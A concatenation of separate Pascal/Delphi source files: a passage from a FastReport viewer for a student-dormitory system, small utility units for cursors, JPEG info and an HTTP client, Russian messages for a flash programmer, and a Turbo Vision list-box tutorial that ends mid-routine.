frxReport.Variables['ENDPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintENDPROPI+'''';
frxReport.Variables['ROOM']:= ''''+StudcityConst.Studcity_ReportsPrintROOM+'''';
frxReport.Variables['FIO']:= ''''+StudcityConst.Studcity_ReportsPrintFIO+'''';
frxReport.Variables['NN']:= ''''+StudcityConst.Studcity_SubsRegNomber+'''';
frxReport.Variables['VNAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['VPAGE']:= ''''+StudcityConst.Studcity_ReportsPage+'''';
frxReport.Variables['DATEBEG']:= ''''+DateToStr(FNR[0][0])+'''';
frxReport.Variables['DATEEND']:= ''''+DateToStr(FNR[1][0])+'''';
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
end;
// frxReport.DesignReport;
frxReport.PrepareReport(true);
frxReport.ShowReport(true);
end;
procedure TfrmMainReportsView.SVACC_OBOR();
var
i:Integer;
MFR:TfrxMemoView;
begin
if pFIBDataSetPrintMaster.RecordCount>0 then
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_ACCOUNT_OLAP_OBOR_DATA_SV where ID_TRANSACTION='+pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsString);
pFIBDataSetPrintMasterRX.Active:=true;
end
else
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_ACCOUNT_OLAP_OBOR_DATA_SV where ID_TRANSACTION<-1');
pFIBDataSetPrintMasterRX.Active:=true;
end;
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'SVACC_OBOR.fr3');
frxReport.Variables.Clear;
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['DATEBEG']:= ''''+DateToStr(FNR[0][0])+'''';
frxReport.Variables['DATEEND']:= ''''+DateToStr(FNR[1][0])+'''';
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
MFR:=frxReport.FindObject('MemoTitle'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
MFR:=frxReport.FindObject('MemoSum'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
MFR:=frxReport.FindObject('MemoTitle'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR:=frxReport.FindObject('MemoSum'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
end;
frxReport.PrepareReport(true);
frxReport.ShowReport(true);
// frxReport.DesignReport;
end;
procedure TfrmMainReportsView.RNarush();
var
i:Integer;
MFR:TfrxMemoView;
begin
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'RNarush.fr3');
frxReport.Variables.Clear;
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['NAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['DATEROJ']:= ''''+StudcityConst.Studcity_ReportsPrintDATEROJ+'''';
frxReport.Variables['BEGPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintBegPROPI+'''';
frxReport.Variables['ENDPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintENDPROPI+'''';
frxReport.Variables['ROOM']:= ''''+StudcityConst.Studcity_ReportsPrintROOM+'''';
frxReport.Variables['FIO']:= ''''+StudcityConst.Studcity_ReportsPrintFIO+'''';
frxReport.Variables['NN']:= ''''+StudcityConst.Studcity_SubsRegNomber+'''';
frxReport.Variables['VNAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['VPAGE']:= ''''+StudcityConst.Studcity_ReportsPage+'''';
frxReport.Variables['DATEBEGIN']:= ''''+DateToStr(FNR[0][0])+'''';
frxReport.Variables['DATEEND']:= ''''+DateToStr(FNR[1][0])+'''';
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
end;
frxReport.PrepareReport(true);
//frxReport.DesignReport;
frxReport.ShowReport(true);
end;
procedure TfrmMainReportsView.RPaySubsRashifr();
var
i:Integer;
MFR:TfrxMemoView;
begin
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'RPaySubsRashifr.fr3');
frxReport.Variables.Clear;
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['NAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['DATEROJ']:= ''''+StudcityConst.Studcity_ReportsPrintDATEROJ+'''';
frxReport.Variables['BEGPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintBegPROPI+'''';
frxReport.Variables['ENDPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintENDPROPI+'''';
frxReport.Variables['ROOM']:= ''''+StudcityConst.Studcity_ReportsPrintROOM+'''';
frxReport.Variables['FIO']:= ''''+StudcityConst.Studcity_ReportsPrintFIO+'''';
frxReport.Variables['NN']:= ''''+StudcityConst.Studcity_SubsRegNomber+'''';
frxReport.Variables['VNAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['VPAGE']:= ''''+StudcityConst.Studcity_ReportsPage+'''';
frxReport.Variables['DATEBEGIN']:= ''''+DateToStr(FNR[0][0])+'''';
frxReport.Variables['DATEEND']:= ''''+DateToStr(FNR[1][0])+'''';
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
end;
frxReport.PrepareReport(true);
//frxReport.DesignReport;
frxReport.ShowReport(true);
end;
procedure TfrmMainReportsView.MarriedSt();
var
i:Integer;
MFR:TfrxMemoView;
begin
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'MarriedSt.fr3');
frxReport.Variables.Clear;
frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['NAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['DATEROJ']:= ''''+StudcityConst.Studcity_ReportsPrintDATEROJ+'''';
frxReport.Variables['BEGPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintBegPROPI+'''';
frxReport.Variables['ENDPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintENDPROPI+'''';
frxReport.Variables['ROOM']:= ''''+StudcityConst.Studcity_ReportsPrintROOM+'''';
frxReport.Variables['FIO']:= ''''+StudcityConst.Studcity_ReportsPrintFIO+'''';
frxReport.Variables['NN']:= ''''+StudcityConst.Studcity_SubsRegNomber+'''';
frxReport.Variables['VNAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
frxReport.Variables['VPAGE']:= ''''+StudcityConst.Studcity_ReportsPage+'''';
frxReport.Variables['DATEBEGIN']:= ''''+DateToStr(FNR[0][0])+'''';
frxReport.Variables['DATEEND']:= ''''+DateToStr(FNR[1][0])+'''';
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
end;
frxReport.PrepareReport(true);
//frxReport.DesignReport;
frxReport.ShowReport(true);
end;
procedure TfrmMainReportsView.SVNarush();
var
i:Integer;
MFR:TfrxMemoView;
begin
if pFIBDataSetPrintMaster.RecordCount>0 then
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_DT_REPORT_LIVER_SV_TEMP where ID_TRANSACTION='+pFIBDataSetPrintMaster.FieldByName('ID_TRANSACTION').AsString);
pFIBDataSetPrintMasterRX.Active:=true;
end
else
begin
pFIBDataSetPrintMasterRX.Active:=false;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMasterRX.SQLs.SelectSQL.Add('select * from ST_DT_REPORT_LIVER_SV_TEMP where ID_TRANSACTION<-1');
pFIBDataSetPrintMasterRX.Active:=true;
end;
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'Reports\Studcity\'+'SVNarush'+'.fr3');
frxReport.Variables.Clear;
frxReport.Variables['VBUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
frxReport.Variables['VFAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
frxReport.Variables['VKURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
frxReport.Variables['VCATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
frxReport.Variables['VTYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
frxReport.Variables['VCLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['VCNT']:= ''''+StudcityConst.Studcity_ReportsLiversCNT+'''';
frxReport.Variables['VNAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportS+'''';
frxReport.Variables['VALL']:= ''''+StudcityConst.Studcity_ReportsALL+'''';
frxReport.Variables['VPAGE']:= ''''+StudcityConst.Studcity_ReportsPage[2]+'''';
frxReport.Variables['DATEBEGIN']:= ''''+DateToStr(FNR[0][0])+'''';
frxReport.Variables['DATEEND']:= ''''+DateToStr(FNR[1][0])+'''';
for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
MFR:=frxReport.FindObject('MemoTitle'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
MFR:=frxReport.FindObject('MemoSum'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
MFR:=frxReport.FindObject('MemoTitle'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR:=frxReport.FindObject('MemoSum'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
end;
frxReport.PrepareReport(true);
frxReport.ShowReport;
// frxReport.DesignReport;
end;
procedure TfrmMainReportsView.RPropiskHistory();
var
i:Integer;
MFR:TfrxMemoView;
begin
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'\Reports\Studcity\'+'RPropiskHistory.fr3');
frxReport.Variables.Clear;
//frxReport.Variables['BUILDS']:= ''''+StudcityConst.Studcity_ReportsLiversBuild+'''';
//frxReport.Variables['FAK']:= ''''+StudcityConst.Studcity_ReportsLiversFak+'''';
//frxReport.Variables['KURS']:= ''''+StudcityConst.Studcity_ReportsLiversCurs+'''';
//frxReport.Variables['CATPAY']:= ''''+StudcityConst.Studcity_ReportsLiversCatPay+'''';
//frxReport.Variables['TYPELIVE']:= ''''+StudcityConst.Studcity_ReportsLiversTypeLive+'''';
//frxReport.Variables['CLASSLIVE']:= ''''+StudcityConst.Studcity_ReportsLiversClassLive+'''';
frxReport.Variables['NAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
//frxReport.Variables['DATEROJ']:= ''''+StudcityConst.Studcity_ReportsPrintDATEROJ+'''';
frxReport.Variables['BEGPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintBegPROPI+'''';
frxReport.Variables['ENDPROPI']:= ''''+StudcityConst.Studcity_ReportsPrintENDPROPI+'''';
//frxReport.Variables['ROOM']:= ''''+StudcityConst.Studcity_ReportsPrintROOM+'''';
frxReport.Variables['FIO']:= ''''+StudcityConst.Studcity_ReportsPrintFIO+'''';
frxReport.Variables['NN']:= ''''+StudcityConst.Studcity_SubsRegNomber+'''';
frxReport.Variables['VNAMEREPORT']:= ''''+StudcityConst.Studcity_ReportsLiversNameReportR+'''';
//frxReport.Variables['VPAGE']:= ''''+StudcityConst.Studcity_ReportsPage+''''; }
frxReport.Variables['DATEBEGIN']:= ''''+DateToStr(FNR[0][0])+'''';
frxReport.Variables['DATEEND']:= ''''+DateToStr(FNR[1][0])+'''';
{ for i:=0 to VarArrayHighBound(FNR,1) do
begin
MFR:=frxReport.FindObject('Memo'+FNR[i][1]) as TfrxMemoView;
if (FNR[i][0]=1) then
begin
MFR.Visible:=true;
MFR.Text:=VarToStr(FNR[i][2]);
end
else
begin
MFR.Visible:=false;
end;
end;}
{for i:=0 to VarArrayHighBound(FV,1) do
begin
MFR:=frxReport.FindObject('Memo'+FV[i][0]) as TfrxMemoView;
MFR.Visible:=true;
end;
for i:=0 to VarArrayHighBound(NFV,1) do
begin
MFR:=frxReport.FindObject('Memo'+NFV[i][0]) as TfrxMemoView;
MFR.Visible:=false;
MFR.DataSet:=nil;
end; }
frxReport.PrepareReport(true);
if (GetAsyncKeyState(VK_SHIFT) and $8000) <> 0 then
frxReport.DesignReport else frxReport.ShowReport(True);
//frxReport.DesignReport;
// frxReport.ShowReport(true);
end;
procedure TfrmMainReportsView.TimerReportsTimer(Sender: TObject);
var
i:Integer;
begin
TimerReports.Enabled:=false;
if Type_R=1 then
begin
pFIBDataSetPrintMaster.Active:=false;
pFIBDataSetPrintMaster.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMaster.SQLs.SelectSQL.Add(Sql_Master_l);
pFIBDataSetPrintMaster.Active:=true;
RDocClear();
end;
if Type_R=0 then
begin
pFIBDataSetPrintMaster.Active:=false;
pFIBDataSetPrintMaster.SQLs.SelectSQL.Clear;
pFIBDataSetPrintMaster.SQLs.SelectSQL.Add(Sql_Master_l);
pFIBDataSetPrintMaster.Active:=true;
pFIBDataSetPrintDetail.Active:=false;
pFIBDataSetPrintDetail.SQLs.SelectSQL.Clear;
pFIBDataSetPrintDetail.SQLs.SelectSQL.Add(Sql_Detail_l);
end;
//сводная по колличеству проживающих
if ReportName='SVLivers' then
begin
SVLivers();
end;
//Реестр по проживающим
if ReportName='RLivers' then
begin
RLivers();
end;
//сводная по оплате
if ReportName='SVPayer' then
begin
SVPay();
end;
//реестр по оплате
if ReportName='RPayer' then
begin
RPay();
end;
//реестр по субсидируемым
if ReportName='RPaySubs' then
begin
RPaySubs();
end;
//реестр по льготникам
if ReportName='RPayLgot' then
begin
RPayLgot();
end;
//Сводная поступлений
if ReportName='SVPayDay' then
begin
SVPayDay();
end;
//Сводная поступлений
if ReportName='SVPayDaySM' then
begin
SVPayDaySM();
end;
//Оборотная ведомость
if ReportName='ACC_OBOR' then
begin
ACC_OBOR();
end;
//Оборотная ведомость сводная
if ReportName='SVACC_OBOR' then
begin
SVACC_OBOR();
end;
//Нарушители reestr
if ReportName='RNarush' then
begin
RNarush();
end;
//Semeinie reestr
if ReportName='MarriedSt' then
begin
MarriedSt();
end;
//Нарушители svodnaja
if ReportName='SVNarush' then
begin
SVNarush();
end;
//Rasshirenii reestr subsidirovanih
if ReportName='RPaySubsRashifr' then
begin
RPaySubsRashifr();
end;
//Список прописок
if ReportName='RPropiskHistory' then
begin
RPropiskHistory();
end;
Close;
end;
end.
|
unit recordConst;
interface
type
Integer = Integer;
string = string;
TVec = packed record
Name: string;
Value: Integer;
end;
const
crNone = 0;
CArr: array[0..22] of TVec = (
(Value: crNone; Name: 'crNone'),
(Value: 1; Name: 'crArrow'),
(Value: 2; Name: 'crCross'),
(Value: 3; Name: 'crIBeam'),
{ Dead cursors }
(Value: $FFFF; Name: 'crSize'));
implementation
end. |
unit SpFoto_Types;
interface
uses Classes, SysUtils;
type TJpegGeneralInfo = record
Width:Integer;
Height:Integer;
XPP:Integer;
YPP:Integer;
ResolutionUnit:Integer;
end;
function GetJpegGeneralInfo(AFileName:String):TJpegGeneralInfo;
implementation
uses SpFoto_ImgSize, SpFoto_JpegInfo;
function GetJpegGeneralInfo(AFileName:String):TJpegGeneralInfo;
const
BufferSize = 50;
var
Buffer : String;
FileStream:TFileStream;
index:Integer;
pWidth:Word;
pHeight:Word;
pXPP:Word;
pYPP:Word;
pResolutionUnit:Word;
begin
Result.Width:=-1;
Result.Height:=-1;
Result.XPP:=-1;
Result.YPP:=-1;
Result.ResolutionUnit:=-1;
// Определить тип JPEG-файла
FileStream := TFileStream.Create(AFileName,
fmOpenRead or fmShareDenyNone);
try
SetLength(Buffer, BufferSize);
FileStream.Read(buffer[1], BufferSize);
index := Pos('JFIF'+#$00, buffer);
if index > 0 then //JFIF
begin
GetJPGSize(AFileName,pWidth,pHeight);
GetJpegPPI(AFileName,pResolutionUnit,pXPP,pYPP);
end
else //Exif or JFXX, or smth else
begin
index := Pos('Exif'+#$00, buffer);
if index>0 then
begin
end
else
Exit;
end;
finally
FileStream.Free
end;
end;
end.
|
unit Lib.HTTPClient;
interface
uses
System.SysUtils,
System.Classes,
Lib.TCPSocket,
Lib.HTTPConsts,
Lib.HTTPUtils,
Lib.HTTPSocket;
type
THTTPClient = class(THTTPSocket)
private
FURLs: TRingBuffer<string>;
FHost: string;
FHostName: string;
FPort: Integer;
FActive: Boolean;
FOnResource: TNotifyEvent;
FOnRequest: TNotifyEvent;
FOnResponse: TNotifyEvent;
FOnIdle: TNotifyEvent;
protected
procedure DoExcept(Code: Integer); override;
procedure DoTimeout(Code: Integer); override;
procedure DoClose; override;
procedure DoRead; override;
procedure DoReadComplete; override;
procedure DoConnectionClose; override;
procedure DoRequest;
procedure DoNextRequestGet;
public
procedure Get(const URL: string);
procedure SendRequest;
constructor Create; override;
destructor Destroy; override;
property OnRequest: TNotifyEvent read FOnRequest write FOnRequest;
property OnResource: TNotifyEvent read FOnResource write FOnResource;
property OnResponse: TNotifyEvent read FOnResponse write FOnResponse;
property OnIdle: TNotifyEvent read FOnIdle write FOnIdle;
property OnDestroy;
end;
implementation
constructor THTTPClient.Create;
begin
inherited;
FActive:=False;
FURLs.Init;
end;
destructor THTTPClient.Destroy;
begin
inherited;
end;
procedure THTTPClient.DoExcept(Code: Integer);
begin
inherited;
FActive:=False;
FHost:='';
end;
procedure THTTPClient.DoTimeout(Code: Integer);
begin
inherited;
DoClose;
end;
procedure THTTPClient.DoConnectionClose;
begin
inherited;
FHost:='';
end;
procedure THTTPClient.DoClose;
begin
inherited;
SetReadTimeout(0);
SetKeepAliveTimeout(0);
DoConnectionClose;
if FActive then
begin
FActive:=False;
DoNextRequestGet;
end;
end;
procedure THTTPClient.DoRead;
begin
while Response.DoRead(Read(20000))>0 do;
end;
procedure THTTPClient.DoReadComplete;
var
Timeout: Integer;
begin
FActive:=False;
if not KeepAlive or Response.Headers.ConnectionClose then
begin
DoConnectionClose;
Timeout:=0;
end else begin
Timeout:=Response.Headers.KeepAliveTimeout;
if Timeout=0 then Timeout:=KeepAliveTimeout;
end;
SetReadTimeout(0);
SetKeepAliveTimeout(Timeout);
Response.Merge(Request);
if Assigned(FOnResponse) then FOnResponse(Self);
DoNextRequestGet;
end;
procedure THTTPClient.DoRequest;
begin
WriteString(Request.Compose);
Write(Request.Content);
if Assigned(FOnRequest) then FOnRequest(Self);
SetReadTimeout(ReadTimeout);
SetKeepAliveTimeout(0);
end;
procedure THTTPClient.DoNextRequestGet;
begin
while not FActive and not FURLs.EOF do
begin
Request.Reset;
Request.Protocol:=PROTOCOL_HTTP11;
Request.Method:=METHOD_GET;
Request.DecomposeURL(FURLs.Read);
Request.Headers.SetValue('Host',Request.Host);
Request.Headers.SetConnection(KeepAlive,KeepAliveTimeout);
SendRequest;
end;
if not FActive then
if Assigned(FOnIdle) then FOnIdle(Self);
end;
procedure THTTPClient.SendRequest;
var
Port: Integer;
HostName,HostPort: string;
SSLScheme: Boolean;
begin
if FActive then
raise Exception.Create('HTTPClient is active');
HTTPSplitHost(Request.Host,HostName,HostPort);
SSLScheme:=SameText(Request.Scheme,SCHEME_HTTPS);
if SSLScheme then
Port:=StrToIntDef(HostPort,HTTPS_PORT)
else
Port:=StrToIntDef(HostPort,HTTP_PORT);
if Assigned(FOnResource) then FOnResource(Self);
if (FHost='') or (FHostName<>HostName) or (FPort<>Port) then
begin
DoConnectionClose;
UseSSL:=SSLScheme;
if not ConnectTo(HostName,Port) then Exit;
end;
FActive:=True;
FHost:=Request.Host;
FHostName:=HostName;
FPort:=Port;
DoRequest;
end;
procedure THTTPClient.Get(const URL: string);
begin
FURLs.Write(URL);
DoNextRequestGet;
end;
end.
|
unit msgstr;
{$mode objfpc}{$H+}
interface
resourcestring
STR_CHECK_SETTINGS = 'Проверьте настройки';
STR_READING_FLASH = 'Читаю флэшку...';
STR_WRITING_FLASH = 'Записываю флэшку...';
STR_WRITING_FLASH_WCHK = 'Записываю флэшку с проверкой...';
STR_CONNECTION_ERROR = 'Ошибка подключения к ';
STR_SET_SPEED_ERROR = 'Ошибка установки скорости SPI';
STR_WRONG_BYTES_READ = 'Количество прочитанных байт не равно размеру флэшки';
STR_WRONG_BYTES_WRITE = 'Количество записанных байт не равно размеру флэшки';
STR_WRONG_FILE_SIZE = 'Размер файла больше размера чипа';
STR_ERASING_FLASH = 'Стираю флэшку...';
STR_DONE = 'Готово';
STR_BLOCK_EN = 'Возможно включена защита на запись. Нажмите кнопку "Снять защиту" и сверьтесь с даташитом';
STR_VERIFY_ERROR = 'Ошибка сравнения по адресу: ';
STR_VERIFY = 'Проверяю флэшку...';
STR_TIME = 'Время выполнения: ';
STR_USER_CANCEL = 'Прервано пользователем';
STR_NO_EEPROM_SUPPORT = 'Данная версия прошивки не поддерживается!';
STR_MINI_EEPROM_SUPPORT= 'Данная версия прошивки не поддерживает I2C и MW!';
STR_I2C_NO_ANSWER = 'Микросхема не отвечает';
STR_COMBO_WARN = 'Чип будет стерт и перезаписан. Продолжить?';
STR_SEARCH_HEX = 'Поиск HEX значения';
STR_GOTO_ADDR = 'Перейти по адресу';
STR_NEW_SREG = 'Стало Sreg: ';
STR_OLD_SREG = 'Было Sreg: ';
STR_START_WRITE = 'Начать запись?';
STR_START_ERASE = 'Точно стереть чип?';
STR_45PAGE_STD = 'Установлен стандартный размер страницы';
STR_45PAGE_POWEROF2 = 'Установлен размер страницы кратный двум!';
STR_ID_UNKNOWN = '(Неизвестно)';
STR_SPECIFY_HEX = 'Укажите шестнадцатеричные числа';
STR_NOT_FOUND_HEX = 'Значение не найдено';
STR_USB_TIMEOUT = 'USB_control_msg отвалился по таймауту!';
STR_SIZE = 'Размер: ';
STR_CHANGED = 'Изменен';
STR_CURR_HW = 'Используется программатор: ';
STR_USING_SCRIPT = 'Используется скрипт: ';
STR_DLG_SAVEFILE = 'Сохранить изменения?';
STR_DLG_FILECHGD = 'файл изменён';
STR_SCRIPT_NO_SECTION = 'Нет секции: ';
STR_SCRIPT_SEL_SECTION = 'Выберите секцию';
STR_SCRIPT_RUN_SECTION = 'Выполняется секция: ';
STR_ERASE_NOTICE = 'Процесс может длиться больше минуты на больших флешках!';
implementation
end.
|
(*
Category: SWAG Title: OOP/TURBO VISION ROUTINES
Original name: 0064.PAS
Description: Using ListBoxes
Author: KEN BURROWS
Date: 05-26-95 23:19
*)
{
From: Ken.Burrows@telos.org (Ken Burrows)
>I am trying to write a TVision program that displays a list of items in a
>list box. After highligting the item that the user wants and hitting the OK
>button, I want to copy the highlighted item into a string variable.
>I can Display the list of items (A TCollection) in the list box. However,
>I don't know how to return the highlighted value.
There are a number of ways of getting the data out of the list box. The easiest
is to have the list box itself broadcast the data back to the dialog.
When you call getdata, you are calling the dialogs getdata method. Unless you
have overidden the method, it's a bit undefined as to what you are getting
back. Since the list box is inserted into the dialog, to get the item that was
focused, use TheListBox^.List^.At(TheListBox^.Focused) and typecast it as the
data type that the list box is listing.
Here is a working example.
}
Program ListBoxDemo;
Uses App,Menus,Dialogs,Views,Drivers,Objects,Dos,MsgBox;
Type
MyListBox = Object(TListBox)
procedure HandleEvent(var Event:TEvent); virtual;
end;
MyListBoxPtr = ^MyListBox;
MyDialog = Object(TDialog)
pl:MyListBoxPtr;
constructor init;
procedure HandleEvent(var Event:Tevent); virtual;
Destructor Done; virtual;
end;
MyDialogPtr = ^MyDialog;
TMyApp = Object(TApplication)
procedure initstatusline; virtual;
end;
Const
EnterPressed = 201;
DoubleClicked = 202;
SpaceBarred = 203;
OkButton = 204;
Function ListOfStuff:PStringCollection; {generic PStringCollection}
var p:PStringCollection;
sr:SearchRec;
Begin
p := nil;
findfirst('*.*',0,sr);
while doserror = 0 do
begin
if p = nil then new(p,init(5,3));
p^.insert(newstr(sr.name));
findnext(sr);
end;
ListOfStuff := p;
End;
Procedure MyListBox.HandleEvent(var Event:TEvent);
begin
if (Event.What = evMouseDown) and (Event.Double)
then Message(Owner,evBroadCast,DoubleClicked,list^.at(focused))
else if (event.what = evkeydown) and (event.KeyCode = KbEnter)
then Message(Owner,evBroadCast,EnterPressed,list^.at(focused))
else if (event.what = evkeydown) and (event.CharCode = ' ')
then Message(Owner,evBroadCast,SpaceBarred,list^.at(focused))
else inherited HandleEvent(event);
End;
Constructor MyDialog.Init;
var r:trect;
ps:pscrollbar;
Begin
r.assign(0,0,17,16);
inherited init(r,'Stuff');
options := options or ofcentered;
getextent(r); r.grow(-1,-1); dec(r.b.y,3); r.a.x := r.b.x - 1;
new(ps,init(r));
insert(ps);
r.b.x := r.a.x; r.a.x := 1;
new(pl,init(r,1,ps));
insert(pl);
pl^.newlist(ListOfStuff);
r.assign(size.x div 2 - 4,size.y-3,size.x div 2 + 4,size.y-1);
insert(new(Pbutton,init(r,'OK',OkButton,BfNormal)));
selectnext(false);
End;
Procedure MyDialog.HandleEvent(var Event:TEvent);
Procedure ShowMessage(s:String);
Begin
MessageBox(#3+s+#13#3+'Item Focused : '+
PString(Event.InfoPtr)^,
nil,mfokbutton+mfinformation);
End;
Begin
inherited HandleEvent(Event);
if (event.what = evBroadcast) or (event.what = evCommand)
then case event.command of
EnterPressed : ShowMessage('Enter Pressed');
DoubleClicked : ShowMessage('Double Clicked');
SpaceBarred : ShowMessage('Space Barred');
OkButton : MessageBox(#3'Ok Button Pressed'#13#3+
'ItemFocused = '+
PString(pl^.list^.at(pl^.focused))^,
nil,mfokbutton+mfinformation);
end; {case}
End;
Destructor MyDialog.Done;
Begin
